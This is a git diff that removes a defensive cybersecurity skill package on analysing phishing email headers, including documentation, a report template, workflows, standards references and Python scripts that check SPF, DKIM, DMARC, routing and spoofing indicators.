the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,78 +0,0 @@
|
||||
---
|
||||
name: analyzing-phishing-email-headers
|
||||
description: Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attemp
|
||||
domain: cybersecurity
|
||||
subdomain: phishing-defense
|
||||
tags: [phishing, email-security, social-engineering, dmarc, awareness, header-analysis, forensics]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
# Analyzing Phishing Email Headers
|
||||
|
||||
## Overview
|
||||
Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attempts, verifying sender authenticity, and gathering threat intelligence. This skill covers systematic extraction and interpretation of email headers using both manual techniques and automated tools.
|
||||
|
||||
## Prerequisites
|
||||
- Basic understanding of SMTP protocol and email delivery
|
||||
- Familiarity with DNS records (MX, TXT, SPF, DKIM, DMARC)
|
||||
- Python 3.8+ installed
|
||||
- Access to email client that can export raw headers (Outlook, Gmail, Thunderbird)
|
||||
|
||||
## Key Concepts
|
||||
|
||||
### Critical Header Fields
|
||||
1. **Received**: Chain of mail servers the message passed through (read bottom to top)
|
||||
2. **From / Return-Path / Reply-To**: Sender identity fields (often spoofed)
|
||||
3. **Authentication-Results**: SPF, DKIM, DMARC verification outcomes
|
||||
4. **X-Originating-IP**: Original sender IP address
|
||||
5. **Message-ID**: Unique identifier; anomalies indicate spoofing
|
||||
6. **X-Mailer / User-Agent**: Email client used to compose the message
|
||||
|
||||
### Red Flags in Headers
|
||||
- Mismatched `From` and `Return-Path` domains
|
||||
- SPF/DKIM/DMARC failures in `Authentication-Results`
|
||||
- Suspicious `Received` chains with unfamiliar relay servers
|
||||
- `X-Originating-IP` from unexpected geographies
|
||||
- Missing or malformed `Message-ID`
|
||||
- Unusual `X-Mailer` values (e.g., mass-mailing tools)
|
||||
|
||||
## Implementation Steps
|
||||
|
||||
### Step 1: Extract Raw Email Headers
|
||||
```
|
||||
Gmail: Open email -> Three dots -> "Show original"
|
||||
Outlook: Open email -> File -> Properties -> Internet Headers
|
||||
Thunderbird: View -> Message Source (Ctrl+U)
|
||||
```
|
||||
|
||||
### Step 2: Parse Headers with Python
|
||||
Use the `scripts/process.py` script to automate header analysis including IP geolocation, authentication validation, and anomaly detection.
|
||||
|
||||
### Step 3: Validate Authentication Chain
|
||||
- Check SPF alignment: Does the sending IP match the domain's SPF record?
|
||||
- Check DKIM signature: Is the cryptographic signature valid?
|
||||
- Check DMARC policy: Does the message pass DMARC alignment?
|
||||
|
||||
### Step 4: Trace Mail Route
|
||||
- Read `Received` headers from bottom to top
|
||||
- Map each hop's IP to organization/location
|
||||
- Identify unexpected relays or delays
|
||||
|
||||
### Step 5: Correlate with Threat Intelligence
|
||||
- Look up originating IP on AbuseIPDB, VirusTotal
|
||||
- Check sending domain age on WHOIS
|
||||
- Search for known phishing infrastructure patterns
|
||||
|
||||
## Tools & Resources
|
||||
- **MXToolbox Header Analyzer**: https://mxtoolbox.com/EmailHeaders.aspx
|
||||
- **Google Admin Toolbox**: https://toolbox.googleapps.com/apps/messageheader/
|
||||
- **AbuseIPDB**: https://www.abuseipdb.com/
|
||||
- **VirusTotal**: https://www.virustotal.com/
|
||||
- **PhishTank**: https://phishtank.org/
|
||||
|
||||
## Validation
|
||||
- Successfully parse headers from 3 different email providers
|
||||
- Correctly identify authentication pass/fail status
|
||||
- Accurately trace email routing path
|
||||
- Detect at least 3 phishing indicators in a sample phishing email
|
||||
@@ -1,86 +0,0 @@
|
||||
# Phishing Email Header Analysis Report Template
|
||||
|
||||
## Report Information
|
||||
- **Analyst**: [Name]
|
||||
- **Date**: [YYYY-MM-DD]
|
||||
- **Case ID**: [CASE-XXXX]
|
||||
- **Classification**: [Phishing / Spear-phishing / BEC / Legitimate]
|
||||
|
||||
## Email Summary
|
||||
| Field | Value |
|
||||
|---|---|
|
||||
| From | |
|
||||
| To | |
|
||||
| Subject | |
|
||||
| Date Received | |
|
||||
| Message-ID | |
|
||||
|
||||
## Authentication Results
|
||||
| Check | Result | Domain | Notes |
|
||||
|---|---|---|---|
|
||||
| SPF | pass/fail/none | | |
|
||||
| DKIM | pass/fail/none | | |
|
||||
| DMARC | pass/fail/none | | |
|
||||
|
||||
## Sender Analysis
|
||||
| Field | Value | Match From? |
|
||||
|---|---|---|
|
||||
| From (header) | | N/A |
|
||||
| Return-Path (envelope) | | Yes/No |
|
||||
| Reply-To | | Yes/No |
|
||||
| X-Originating-IP | | |
|
||||
| X-Mailer | | |
|
||||
|
||||
## Routing Analysis
|
||||
| Hop | Server From | Server By | IP | Location | Time |
|
||||
|---|---|---|---|---|---|
|
||||
| 1 | | | | | |
|
||||
| 2 | | | | | |
|
||||
| 3 | | | | | |
|
||||
|
||||
## Indicators of Compromise (IOCs)
|
||||
### IP Addresses
|
||||
| IP | Source | Reputation | Location |
|
||||
|---|---|---|---|
|
||||
| | | | |
|
||||
|
||||
### Domains
|
||||
| Domain | Source | Age | Reputation |
|
||||
|---|---|---|---|
|
||||
| | | | |
|
||||
|
||||
### URLs
|
||||
| URL | Context | Status |
|
||||
|---|---|---|
|
||||
| | | |
|
||||
|
||||
## Phishing Indicators Found
|
||||
| # | Category | Description | Severity |
|
||||
|---|---|---|---|
|
||||
| 1 | | | |
|
||||
| 2 | | | |
|
||||
| 3 | | | |
|
||||
|
||||
## Risk Assessment
|
||||
- **Risk Score**: [0-100]
|
||||
- **Risk Level**: [CLEAN / LOW / MEDIUM / HIGH / CRITICAL]
|
||||
- **Confidence**: [Low / Medium / High]
|
||||
|
||||
## Recommended Actions
|
||||
- [ ] Block sender domain at email gateway
|
||||
- [ ] Add originating IP to blocklist
|
||||
- [ ] Submit IOCs to threat intelligence platform
|
||||
- [ ] Notify affected users
|
||||
- [ ] Check for similar messages in mail logs
|
||||
- [ ] Update email filtering rules
|
||||
- [ ] Report to anti-phishing databases (PhishTank, APWG)
|
||||
|
||||
## Evidence Chain
|
||||
| Item | Hash (SHA-256) | Description |
|
||||
|---|---|---|
|
||||
| Original .eml | | Raw email file |
|
||||
| Headers export | | Extracted headers |
|
||||
| Screenshots | | Visual evidence |
|
||||
|
||||
## Notes
|
||||
[Additional observations, context, or analysis notes]
|
||||
@@ -1,90 +0,0 @@
|
||||
# API Reference: Phishing Email Header Analysis
|
||||
|
||||
## Python email Module
|
||||
|
||||
### Parsing Email Files
|
||||
```python
|
||||
import email
|
||||
with open("message.eml", "r") as f:
|
||||
msg = email.message_from_string(f.read())
|
||||
|
||||
print(msg["From"])
|
||||
print(msg["Subject"])
|
||||
print(msg.get_all("Received"))
|
||||
print(msg["Authentication-Results"])
|
||||
```
|
||||
|
||||
### Extracting Body
|
||||
```python
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() == "text/html":
|
||||
body = part.get_payload(decode=True).decode()
|
||||
```
|
||||
|
||||
## Key Email Headers for Forensics
|
||||
|
||||
| Header | Purpose |
|
||||
|--------|---------|
|
||||
| `Received` | Mail server routing chain (bottom = origin) |
|
||||
| `From` | Claimed sender (can be spoofed) |
|
||||
| `Return-Path` | Envelope sender for bounces |
|
||||
| `Reply-To` | Where replies go (phishing: often different from From) |
|
||||
| `Authentication-Results` | SPF/DKIM/DMARC verdicts |
|
||||
| `Received-SPF` | SPF check result |
|
||||
| `DKIM-Signature` | DKIM cryptographic signature |
|
||||
| `X-Mailer` | Sending software |
|
||||
| `Message-ID` | Unique message identifier |
|
||||
| `X-Originating-IP` | Original sender IP |
|
||||
|
||||
## Authentication Checks
|
||||
|
||||
### SPF Status Values
|
||||
| Value | Meaning |
|
||||
|-------|---------|
|
||||
| `pass` | Sender IP authorized |
|
||||
| `fail` | Sender IP not authorized |
|
||||
| `softfail` | Not authorized but not rejected |
|
||||
| `neutral` | No SPF policy for domain |
|
||||
| `none` | No SPF record exists |
|
||||
|
||||
### DKIM Verification
|
||||
```bash
|
||||
opendkim-testmsg < message.eml
|
||||
# Or in Authentication-Results: dkim=pass header.d=example.com
|
||||
```
|
||||
|
||||
### DMARC Policy Check
|
||||
```bash
|
||||
dig _dmarc.example.com TXT
|
||||
# v=DMARC1; p=reject; rua=mailto:dmarc@example.com
|
||||
```
|
||||
|
||||
## Phishing Detection Indicators
|
||||
|
||||
| Indicator | Severity | Description |
|
||||
|-----------|----------|-------------|
|
||||
| SPF fail | HIGH | Sender IP not in domain's SPF record |
|
||||
| Reply-To mismatch | HIGH | Reply-To different from From address |
|
||||
| Email in display name | HIGH | Display name contains email address |
|
||||
| IP-based URL | HIGH | Links point to raw IP addresses |
|
||||
| Urgency keywords | MEDIUM | Subject contains "urgent", "action required" |
|
||||
| URL shortener | MEDIUM | Links use bit.ly, tinyurl, etc. |
|
||||
| New domain | MEDIUM | Sending domain registered recently |
|
||||
| PHPMailer X-Mailer | MEDIUM | Bulk mailer software |
|
||||
|
||||
## msgconvert (Perl)
|
||||
|
||||
### Convert MSG to EML
|
||||
```bash
|
||||
msgconvert message.msg # Outputs message.eml
|
||||
msgconvert --outfile out.eml msg.msg # Specify output
|
||||
```
|
||||
|
||||
## emlAnalyzer (Python)
|
||||
|
||||
### Installation and Usage
|
||||
```bash
|
||||
pip install eml-analyzer
|
||||
emlAnalyzer -i message.eml --header --html --attachments
|
||||
```
|
||||
@@ -1,42 +0,0 @@
|
||||
# Standards & References: Analyzing Phishing Email Headers
|
||||
|
||||
## RFC Standards
|
||||
- **RFC 5321 (SMTP)**: Simple Mail Transfer Protocol - defines how email is transmitted and the structure of Received headers
|
||||
- **RFC 5322 (Internet Message Format)**: Defines the syntax of email header fields including From, To, Date, Message-ID
|
||||
- **RFC 7208 (SPF)**: Sender Policy Framework - mechanism for validating email sender IP against domain policy
|
||||
- **RFC 6376 (DKIM)**: DomainKeys Identified Mail - cryptographic authentication of email messages
|
||||
- **RFC 7489 (DMARC)**: Domain-based Message Authentication, Reporting and Conformance
|
||||
- **RFC 8601 (Authentication-Results)**: Message Header Field for Indicating Message Authentication Status
|
||||
|
||||
## NIST Guidelines
|
||||
- **NIST SP 800-177 Rev.1**: Trustworthy Email - comprehensive guide to email security including header authentication
|
||||
- **NIST SP 800-45 Ver.2**: Guidelines on Electronic Mail Security
|
||||
|
||||
## MITRE ATT&CK References
|
||||
- **T1566.001**: Phishing: Spearphishing Attachment
|
||||
- **T1566.002**: Phishing: Spearphishing Link
|
||||
- **T1566.003**: Phishing: Spearphishing via Service
|
||||
- **T1534**: Internal Spearphishing
|
||||
|
||||
## Industry Standards
|
||||
- **M3AAWG Best Practices**: Messaging, Malware and Mobile Anti-Abuse Working Group email authentication recommendations
|
||||
- **DMARC.org**: Industry consortium for DMARC deployment guidance
|
||||
- **Anti-Phishing Working Group (APWG)**: Phishing Activity Trends Reports
|
||||
|
||||
## Key Header Fields Reference
|
||||
|
||||
| Header Field | RFC | Purpose |
|
||||
|---|---|---|
|
||||
| Received | RFC 5321 | Records each SMTP hop |
|
||||
| From | RFC 5322 | Display sender address |
|
||||
| Return-Path | RFC 5321 | Envelope sender (bounce address) |
|
||||
| Authentication-Results | RFC 8601 | SPF/DKIM/DMARC results |
|
||||
| DKIM-Signature | RFC 6376 | Cryptographic signature |
|
||||
| Message-ID | RFC 5322 | Unique message identifier |
|
||||
| X-Originating-IP | Non-standard | Sender's IP (provider-specific) |
|
||||
| X-Mailer | Non-standard | Email client identification |
|
||||
|
||||
## Compliance Frameworks
|
||||
- **PCI DSS 4.0**: Requirement 5 - Protect All Systems and Networks from Malicious Software
|
||||
- **ISO 27001:2022**: A.8.23 - Web filtering; A.5.14 - Information transfer
|
||||
- **SOC 2**: CC6.1 - Logical and Physical Access Controls
|
||||
@@ -1,89 +0,0 @@
|
||||
# Workflows: Analyzing Phishing Email Headers
|
||||
|
||||
## Workflow 1: Rapid Header Triage
|
||||
|
||||
```
|
||||
START: Suspicious email reported
|
||||
|
|
||||
v
|
||||
[Extract raw headers from email client]
|
||||
|
|
||||
v
|
||||
[Check Authentication-Results header]
|
||||
|
|
||||
+-- SPF=pass, DKIM=pass, DMARC=pass --> Lower suspicion, check content
|
||||
|
|
||||
+-- Any FAIL --> High suspicion
|
||||
|
|
||||
v
|
||||
[Compare From vs Return-Path vs Reply-To]
|
||||
|
|
||||
+-- All match --> Check Received chain
|
||||
+-- Mismatch --> LIKELY PHISHING - escalate
|
||||
|
|
||||
v
|
||||
[Document findings, block sender, alert SOC]
|
||||
```
|
||||
|
||||
## Workflow 2: Full Header Forensic Analysis
|
||||
|
||||
### Phase 1: Collection
|
||||
1. Obtain raw email source (.eml file or copy full headers)
|
||||
2. Preserve original message with headers as evidence
|
||||
3. Calculate hash of original .eml file for chain of custody
|
||||
|
||||
### Phase 2: Authentication Analysis
|
||||
1. Extract SPF result from Authentication-Results
|
||||
2. Verify SPF by querying sender domain's TXT record: `dig TXT _spf.example.com`
|
||||
3. Extract DKIM result and verify signature domain
|
||||
4. Check DMARC alignment (identifier alignment between SPF/DKIM and From domain)
|
||||
5. Document all authentication pass/fail results
|
||||
|
||||
### Phase 3: Route Analysis
|
||||
1. Parse all Received headers (bottom to top)
|
||||
2. For each hop:
|
||||
- Extract server hostname and IP
|
||||
- Note timestamp
|
||||
- Calculate time delta between hops
|
||||
3. Flag any:
|
||||
- Unexpected relay servers
|
||||
- Geographic anomalies (IP in unexpected country)
|
||||
- Excessive delays (possible queuing for mass send)
|
||||
- Internal-only hostnames appearing in external mail
|
||||
|
||||
### Phase 4: Sender Investigation
|
||||
1. WHOIS lookup on sending domain
|
||||
- Domain age < 30 days = high risk
|
||||
- Registrar known for abuse = medium risk
|
||||
2. Reverse DNS on originating IP
|
||||
3. AbuseIPDB / VirusTotal lookup on originating IP
|
||||
4. Check if sending domain appears in known phishing feeds
|
||||
|
||||
### Phase 5: Indicator Extraction
|
||||
1. Extract all URLs from message body and headers
|
||||
2. Extract all IP addresses from Received chain
|
||||
3. Extract domain names from all relevant fields
|
||||
4. Create IOC list for threat intelligence platform
|
||||
|
||||
## Workflow 3: Automated Pipeline
|
||||
|
||||
```
|
||||
Email received --> MTA logs header -->
|
||||
SIEM ingestion -->
|
||||
Automated header parsing -->
|
||||
Authentication check -->
|
||||
IF fail: Create alert + enrich with TI -->
|
||||
SOC analyst review -->
|
||||
Confirm/dismiss -->
|
||||
IF confirmed: Block + hunt similar
|
||||
```
|
||||
|
||||
## Decision Matrix
|
||||
|
||||
| Authentication | Route | Sender Rep | Action |
|
||||
|---|---|---|---|
|
||||
| All Pass | Normal | Good | Deliver normally |
|
||||
| SPF Fail | Normal | Good | Quarantine, investigate |
|
||||
| DKIM Fail | Normal | Unknown | Quarantine, investigate |
|
||||
| DMARC Fail | Anomalous | Bad | Block, create IOC |
|
||||
| All Fail | Anomalous | Bad | Block, escalate, hunt |
|
||||
@@ -1,213 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Phishing email header analysis agent.
|
||||
|
||||
Parses email headers to detect spoofing, authentication failures,
|
||||
suspicious routing, and phishing indicators.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import email
|
||||
import email.utils
|
||||
|
||||
|
||||
def parse_email_file(filepath):
|
||||
with open(filepath, "r", encoding="utf-8", errors="replace") as f:
|
||||
return email.message_from_string(f.read())
|
||||
|
||||
|
||||
def extract_received_chain(msg):
|
||||
chain = []
|
||||
for header in msg.get_all("Received", []):
|
||||
entry = {"raw": header.strip()[:300]}
|
||||
from_match = re.search(r"from\s+([\w.-]+)", header)
|
||||
by_match = re.search(r"by\s+([\w.-]+)", header)
|
||||
ip_match = re.search(r"\[(\d+\.\d+\.\d+\.\d+)\]", header)
|
||||
date_match = re.search(r";\s*(.+)$", header)
|
||||
if from_match:
|
||||
entry["from_host"] = from_match.group(1)
|
||||
if by_match:
|
||||
entry["by_host"] = by_match.group(1)
|
||||
if ip_match:
|
||||
entry["ip"] = ip_match.group(1)
|
||||
if date_match:
|
||||
entry["date"] = date_match.group(1).strip()[:60]
|
||||
chain.append(entry)
|
||||
return chain
|
||||
|
||||
|
||||
def check_spf(msg):
|
||||
spf_headers = msg.get_all("Received-SPF", [])
|
||||
auth_results = msg.get("Authentication-Results", "")
|
||||
result = {"status": "none", "details": ""}
|
||||
for h in spf_headers:
|
||||
h_lower = h.lower()
|
||||
if "pass" in h_lower:
|
||||
result = {"status": "pass", "details": h[:200]}
|
||||
elif "fail" in h_lower or "softfail" in h_lower:
|
||||
result = {"status": "fail", "details": h[:200]}
|
||||
elif "neutral" in h_lower:
|
||||
result = {"status": "neutral", "details": h[:200]}
|
||||
if "spf=" in auth_results.lower():
|
||||
spf_match = re.search(r"spf=(\w+)", auth_results, re.IGNORECASE)
|
||||
if spf_match:
|
||||
result["auth_result_spf"] = spf_match.group(1)
|
||||
return result
|
||||
|
||||
|
||||
def check_dkim(msg):
|
||||
auth_results = msg.get("Authentication-Results", "")
|
||||
dkim_sig = msg.get("DKIM-Signature", "")
|
||||
result = {"status": "none", "domain": ""}
|
||||
if "dkim=" in auth_results.lower():
|
||||
dkim_match = re.search(r"dkim=(\w+)", auth_results, re.IGNORECASE)
|
||||
if dkim_match:
|
||||
result["status"] = dkim_match.group(1)
|
||||
if dkim_sig:
|
||||
d_match = re.search(r"d=([\w.-]+)", dkim_sig)
|
||||
if d_match:
|
||||
result["domain"] = d_match.group(1)
|
||||
return result
|
||||
|
||||
|
||||
def check_dmarc(msg):
|
||||
auth_results = msg.get("Authentication-Results", "")
|
||||
result = {"status": "none"}
|
||||
if "dmarc=" in auth_results.lower():
|
||||
dmarc_match = re.search(r"dmarc=(\w+)", auth_results, re.IGNORECASE)
|
||||
if dmarc_match:
|
||||
result["status"] = dmarc_match.group(1)
|
||||
return result
|
||||
|
||||
|
||||
def extract_urls(msg):
|
||||
urls = set()
|
||||
body = ""
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
ct = part.get_content_type()
|
||||
if ct in ("text/plain", "text/html"):
|
||||
payload = part.get_payload(decode=True)
|
||||
if payload:
|
||||
body += payload.decode("utf-8", errors="replace")
|
||||
else:
|
||||
payload = msg.get_payload(decode=True)
|
||||
if payload:
|
||||
body = payload.decode("utf-8", errors="replace")
|
||||
urls.update(re.findall(r"https?://[^\s<>\"')\]]+", body))
|
||||
href_urls = re.findall(r'href=["\']([^"\']+)["\']', body)
|
||||
urls.update(u for u in href_urls if u.startswith("http"))
|
||||
return sorted(urls)
|
||||
|
||||
|
||||
def detect_display_name_spoofing(msg):
|
||||
from_header = msg.get("From", "")
|
||||
reply_to = msg.get("Reply-To", "")
|
||||
findings = []
|
||||
name, addr = email.utils.parseaddr(from_header)
|
||||
if name and addr:
|
||||
if re.search(r"@", name):
|
||||
findings.append({
|
||||
"type": "email_in_display_name",
|
||||
"detail": f"Display name contains email: {name}",
|
||||
})
|
||||
if reply_to:
|
||||
_, reply_addr = email.utils.parseaddr(reply_to)
|
||||
if reply_addr and addr and reply_addr.lower() != addr.lower():
|
||||
findings.append({
|
||||
"type": "reply_to_mismatch",
|
||||
"detail": f"From: {addr} vs Reply-To: {reply_addr}",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def detect_phishing_indicators(msg, urls):
|
||||
indicators = []
|
||||
subject = msg.get("Subject", "").lower()
|
||||
urgency = ["urgent", "immediate", "action required", "suspended",
|
||||
"verify", "expires today", "click here", "limited time"]
|
||||
for word in urgency:
|
||||
if word in subject:
|
||||
indicators.append({
|
||||
"type": "urgency_subject", "keyword": word, "severity": "MEDIUM",
|
||||
})
|
||||
break
|
||||
for url in urls:
|
||||
if re.search(r"https?://\d+\.\d+\.\d+\.\d+", url):
|
||||
indicators.append({
|
||||
"type": "ip_url", "url": url[:100], "severity": "HIGH",
|
||||
})
|
||||
if len(url) > 200:
|
||||
indicators.append({
|
||||
"type": "long_url", "url_length": len(url), "severity": "MEDIUM",
|
||||
})
|
||||
x_mailer = msg.get("X-Mailer", "")
|
||||
if x_mailer and any(s in x_mailer.lower() for s in ["phpmailer", "swiftmailer"]):
|
||||
indicators.append({
|
||||
"type": "suspicious_mailer", "mailer": x_mailer, "severity": "MEDIUM",
|
||||
})
|
||||
return indicators
|
||||
|
||||
|
||||
def generate_report(filepath, msg):
|
||||
received = extract_received_chain(msg)
|
||||
spf = check_spf(msg)
|
||||
dkim = check_dkim(msg)
|
||||
dmarc = check_dmarc(msg)
|
||||
urls = extract_urls(msg)
|
||||
spoofing = detect_display_name_spoofing(msg)
|
||||
phishing = detect_phishing_indicators(msg, urls)
|
||||
return {
|
||||
"file": filepath,
|
||||
"subject": msg.get("Subject", ""),
|
||||
"from": msg.get("From", ""),
|
||||
"to": msg.get("To", ""),
|
||||
"date": msg.get("Date", ""),
|
||||
"message_id": msg.get("Message-ID", ""),
|
||||
"received_hops": len(received),
|
||||
"received_chain": received,
|
||||
"authentication": {"spf": spf, "dkim": dkim, "dmarc": dmarc},
|
||||
"urls_found": len(urls),
|
||||
"urls": urls[:20],
|
||||
"spoofing_indicators": spoofing,
|
||||
"phishing_indicators": phishing,
|
||||
"verdict": "SUSPICIOUS" if (phishing or spoofing or
|
||||
spf.get("status") == "fail") else "CLEAN",
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Phishing Email Header Analysis Agent")
|
||||
print("SPF/DKIM/DMARC, spoofing detection, URL extraction")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
if not target or not os.path.exists(target):
|
||||
print("\n[DEMO] Usage: python agent.py <email.eml>")
|
||||
sys.exit(0)
|
||||
|
||||
msg = parse_email_file(target)
|
||||
report = generate_report(target, msg)
|
||||
|
||||
print(f"\n[*] Subject: {report['subject']}")
|
||||
print(f"[*] From: {report['from']}")
|
||||
print(f"[*] Date: {report['date']}")
|
||||
print(f"[*] Received hops: {report['received_hops']}")
|
||||
|
||||
auth = report["authentication"]
|
||||
print(f"\n--- Authentication ---")
|
||||
print(f" SPF: {auth['spf']['status']}")
|
||||
print(f" DKIM: {auth['dkim']['status']}")
|
||||
print(f" DMARC: {auth['dmarc']['status']}")
|
||||
|
||||
print(f"\n--- URLs ({report['urls_found']}) ---")
|
||||
for u in report["urls"][:5]:
|
||||
print(f" {u[:80]}")
|
||||
|
||||
print(f"\n--- Indicators ---")
|
||||
for i in report["phishing_indicators"] + report["spoofing_indicators"]:
|
||||
print(f" [{i.get('severity','INFO')}] {i['type']}: {i.get('detail', i.get('keyword', ''))}")
|
||||
|
||||
print(f"\n[*] Verdict: {report['verdict']}")
|
||||
@@ -1,566 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Phishing Email Header Analyzer
|
||||
|
||||
Parses raw email headers to extract authentication results, routing information,
|
||||
and phishing indicators. Performs IP geolocation, domain age checks, and
|
||||
generates a risk assessment report.
|
||||
|
||||
Usage:
|
||||
python process.py --file email_headers.txt
|
||||
python process.py --eml suspicious_email.eml
|
||||
python process.py --stdin < headers.txt
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import email
|
||||
import re
|
||||
import json
|
||||
import sys
|
||||
import socket
|
||||
import hashlib
|
||||
from datetime import datetime, timezone
|
||||
from email import policy
|
||||
from email.parser import HeaderParser, BytesParser
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
from dataclasses import dataclass, field, asdict
|
||||
|
||||
try:
|
||||
import requests
|
||||
HAS_REQUESTS = True
|
||||
except ImportError:
|
||||
HAS_REQUESTS = False
|
||||
|
||||
|
||||
@dataclass
|
||||
class ReceivedHop:
|
||||
"""Represents a single hop in the email routing chain."""
|
||||
server_from: str = ""
|
||||
server_by: str = ""
|
||||
ip_address: str = ""
|
||||
timestamp: str = ""
|
||||
protocol: str = ""
|
||||
hop_number: int = 0
|
||||
geo_location: str = ""
|
||||
reverse_dns: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class AuthenticationResult:
|
||||
"""Email authentication check results."""
|
||||
spf: str = "none"
|
||||
spf_domain: str = ""
|
||||
dkim: str = "none"
|
||||
dkim_domain: str = ""
|
||||
dmarc: str = "none"
|
||||
dmarc_domain: str = ""
|
||||
compauth: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class PhishingIndicator:
|
||||
"""A single phishing indicator found in headers."""
|
||||
category: str = ""
|
||||
description: str = ""
|
||||
severity: str = "low" # low, medium, high, critical
|
||||
raw_value: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class HeaderAnalysis:
|
||||
"""Complete header analysis results."""
|
||||
message_id: str = ""
|
||||
from_address: str = ""
|
||||
from_domain: str = ""
|
||||
return_path: str = ""
|
||||
return_path_domain: str = ""
|
||||
reply_to: str = ""
|
||||
reply_to_domain: str = ""
|
||||
subject: str = ""
|
||||
date: str = ""
|
||||
x_originating_ip: str = ""
|
||||
x_mailer: str = ""
|
||||
received_hops: list = field(default_factory=list)
|
||||
authentication: AuthenticationResult = field(default_factory=AuthenticationResult)
|
||||
indicators: list = field(default_factory=list)
|
||||
risk_score: int = 0
|
||||
risk_level: str = "unknown"
|
||||
urls_in_headers: list = field(default_factory=list)
|
||||
file_hash: str = ""
|
||||
|
||||
|
||||
def extract_ip_from_received(received_value: str) -> str:
|
||||
"""Extract IP address from a Received header value."""
|
||||
ip_patterns = [
|
||||
r'\[(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]',
|
||||
r'\((\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\)',
|
||||
r'from\s+\S+\s+\(.*?(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})',
|
||||
]
|
||||
for pattern in ip_patterns:
|
||||
match = re.search(pattern, received_value)
|
||||
if match:
|
||||
ip = match.group(1)
|
||||
if not ip.startswith(('10.', '172.16.', '172.17.', '172.18.',
|
||||
'172.19.', '172.2', '172.30.', '172.31.',
|
||||
'192.168.', '127.')):
|
||||
return ip
|
||||
return ""
|
||||
|
||||
|
||||
def extract_domain(email_address: str) -> str:
|
||||
"""Extract domain from an email address."""
|
||||
if not email_address:
|
||||
return ""
|
||||
match = re.search(r'@([\w.-]+)', email_address)
|
||||
return match.group(1).lower() if match else ""
|
||||
|
||||
|
||||
def parse_received_header(received_value: str, hop_num: int) -> ReceivedHop:
|
||||
"""Parse a single Received header into structured data."""
|
||||
hop = ReceivedHop(hop_number=hop_num)
|
||||
|
||||
from_match = re.search(r'from\s+([\w.\-]+)', received_value, re.IGNORECASE)
|
||||
